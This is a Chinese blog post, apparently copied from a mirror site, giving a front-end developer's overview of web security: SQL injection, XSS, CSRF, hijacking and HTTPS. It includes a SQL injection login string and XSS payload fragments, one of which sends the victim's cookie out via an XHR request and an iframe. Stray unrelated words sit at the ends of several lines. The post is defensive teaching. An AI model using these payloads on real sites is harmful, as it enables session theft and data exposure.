如今前端確定也須要知道安全問題,做爲網站開發者,要保證基礎的三點:javascript
DDos攻擊,Dos攻擊,SQL注入,XSS,CSRF等,D|Dos攻擊是經過http協議自己特色,經過大量惡意請求致使服務器不能響應的攻擊,防範這個問題須要運維或FireWall來作的,這裏就很少說明,只簡單說下FEer會接觸到的幾個。
在此以前,不得不說一個概念:安全沙箱。不知道的能夠度娘一下css
經過非法方式影響服務的正常有效運行,提供非正確的信息返回或不能正常服務。在先後端未進行分離的年代,sql注入是每一個web開發者都須要熟知的。那時候訪問的url就很容易猜到是哪一個庫表哪一個操做,最著名的sql注入就是登陸時user和password輸入'1' or 2=2"' 若是沒有對URI進行特殊符號轉化,服務端sql腳本就可能出現前端
sql = "select * from user where user='1' or 2=2"' password='' " // 密碼相似user的寫法 複製代碼
sql查詢條件是成立的,有可能會把整個庫表的信息都返回,甚至也給暴力破解留下入口。
如今FEer能夠不用考慮這一點,可是請求地址仍是能夠在network裏看到,適當的加密和偏移仍是須要的。固然,後端的安防是最最重要的,這裏只說前端,node的代理或後端對於前端腳本的請求攔截找機會再作分享。java
從本站發起,這是首要條件,由於安全沙箱的限制,非本站腳本不能操做cookie或dom,那麼它若是攻擊呢?
攻擊方式:node
// 多是div多是a,不設防就能夠隨意添加dom
<a style="display:block;position:absolute;width:100%;height:100%;" href="javascript:alert('xss');">測試連接</a>
// 各類腳本隨意跑
<script>window.head[0].append(js code);alert("w");setTimeout(function(){xhr.get(url+cookie)},0);</script>
<iframe src="domain/getcookie/cookie">
// 經過xhr把cookie給攻擊者,iframe等,全部的內容毫無疑問都是非法的,機密泄漏!
複製代碼
前端幾乎沒有安全一說,即使是加密的js代碼也是能夠反編譯,全部的內容幾乎都暴露在瀏覽器裏。因此對用戶的輸入都是不可信的,即使是加密的js代碼也是能夠反編譯,針對用戶的輸入,須要後端配合業務進行鍼對性的過濾和轉譯;而且根據攻擊類型(反射、存儲引用、DOM)進行相應的規則,「<a, <script, <Script,,'," 」等等,練css其實也能夠進行js的hack,最好用innerText而不是innerHTML。若是業務實在須要匹配規則做好,容許的狀況下就別讓代碼執行。nginx
從第三方站點發起,利用cookie僞形成你的合法請求;通常釣魚網站會這麼幹。仍是由於安全沙箱的關係,攻擊者不能拿到sessionid或標明合法身份的sign,但在頁面中利用你未過時的cookie就能夠發起攻擊(瀏覽器關閉cookie還能有效呢?yes,就是tmd有可能不過時),新建tab進行其餘網站的瀏覽也是常態。web
Referer驗證,若是來源非本站,那麼能夠斷定是非法請求;可是IE低版本和某些閹割瀏覽器這玩意是無效的;
token驗證,每次提交須要用戶輸入驗證碼或拉動豆腐塊等等,就是證實是人,是人,是人在提交;
頭部自定義內容(加密),我在暢旅時跟後臺通訊會加上用戶名密碼的md5加密;
通過我本身的實際工做檢驗,雖然也是沒什麼用,但能夠增長攻擊難度;再有就是OTA或存在價格競爭的企業,爬蟲掃描價格也是很常見的攻防大戰;都是隻增長難度,徹底靠前端防範是不可能的。切切!算法
DNS劫持現實生活中很難防範,由於提供網絡服務的SP運營商讓你看什麼就得看什麼,這也是偉大的牆所存在的條件;進不來出不去。
http劫持可使用https增長攻擊者的成本。
HTTPS協議的主要做用能夠分爲兩種:一種是創建一個信息安全通道,來保證數據傳輸的安全;另外一種就是確認網站的真實性。sql
HTTP協議傳輸的數據都是未加密的,也就是明文的,所以使用HTTP協議傳輸隱私信息很是不安全,爲了保證這些隱私數據能加密傳輸,因而網景公司設計了SSL(Secure Sockets Layer)協議用於對HTTP協議傳輸的數據進行加密,從而就誕生了HTTPS。簡單來講,HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,要比http協議安全。
https工做方式後端
HTTPS實際上是有兩部分組成:HTTP + SSL / TLS,也就是在HTTP上又加了一層處理加密信息的模塊。服務端和客戶端的信息傳輸都會經過TLS進行加密,因此傳輸的數據都是加密後的數據。SSL介於應用層和TCP層之間。應用層數據再也不直接傳遞給傳輸層,而是傳遞給SSL層,SSL層對從應用層收到的數據進行加密,並增長本身的SSL頭,具體是如何進行加密、解密、驗證的,請看下圖:
1.服務器用RSA生成公鑰和私鑰
2.把公鑰放在證書裏發送給客戶端,私鑰本身保存
3.客戶端首先向一個權威的服務器檢查證書的合法性,若是證書合法,客戶端產一段隨機數,這個隨機數就做爲通訊的密鑰,咱們稱之爲對稱密鑰,用公鑰加密這段機數,而後發送到服務器
4.服務器用密鑰解密獲取對稱密鑰,而後,雙方就已對稱密鑰進行加密解密通訊了
若是有興趣能夠看下https的頭和http的頭有哪些區別,還有公鑰和私鑰,均可以瞭解一下。
儘管HTTPS並不是絕對安全,掌握根證書的機構、掌握加密算法的組織一樣能夠進行中間人形式的攻擊,但HTTPS還是現行架構下最安全的解決方案,主要有如下幾個好處:
1.使用HTTPS協議可認證用戶和服務器,確保數據發送到正確的客戶機和服務器;
2.HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網絡協議,要比http協議安全,可防止數據在傳輸過程當中不被竊取、改變,確保數據的完整性。
3.HTTPS是現行架構下最安全的解決方案,雖然不是絕對安全,但它大幅增長了中間人攻擊的成本。
4.谷歌曾在2014年8月份調整搜索引擎算法,並稱「比起同等HTTP網站,採用HTTPS加密的網站在搜索結果中的排名將會更高」;但18年10月開始Chrome也再也不提示https網站安全與否;由於大部分網站都有SSL證書了。
雖說HTTPS有很大的優點,但其相對來講,仍是存在不足之處的:
1.HTTPS協議握手階段比較費時,會使頁面的加載時間延長近50%,增長10%到20%的耗電; 2.HTTPS鏈接緩存不如HTTP高效,會增長數據開銷和功耗,甚至已有的安全措施也會所以而受到影響;
3.SSL證書須要錢,功能越強大的證書費用越高,我的網站、小網站沒有必要通常不會用。
4.SSL證書一般須要綁定IP,不能在同一IP上綁定多個域名,IPv4資源不可能支撐這個消耗。
5.HTTPS協議的加密範圍也比較有限,在黑客攻擊、拒絕服務攻擊、服務器劫持等方面幾乎起不到什麼做用。最關鍵的,SSL證書的信用鏈體系並不安全,特別是在某些國家能夠控制CA根證書的狀況下,中間人攻擊同樣可行。
1.保密性
SQL,XSS,CSRF等攻擊都是經過非法手段獲取用戶信息,或從後端或從前端來進行。假設你是攻擊者,能夠經過什麼手段進行攻擊就能找到防止的方法
2.完整性
請求的數據、cookie、header、body、sign等完整,後端對header和ua信息進行驗證,前端在header里加密某一段信息都是方法。
3.可用性 我曾遇到過這種問題:前端(C端hybird)寫了一個輪詢,設定的結束條件是拿到數據,看似沒什麼大問題,後端微服務資源分配模塊沒作好,結果拖的全部的服務都當機。核心的點仍是在後端,但前端也須要設定合理的結束條件。再有就是提供http服務的穩定和高併發,nginx,負載均衡,異地多活等
PS:我的經驗的一點分享,確定會有遺漏;歡迎留言指正,互相交流學習!
防止sp運營商劫持有個文章很是好,請點連接: 乾貨!防運營商劫持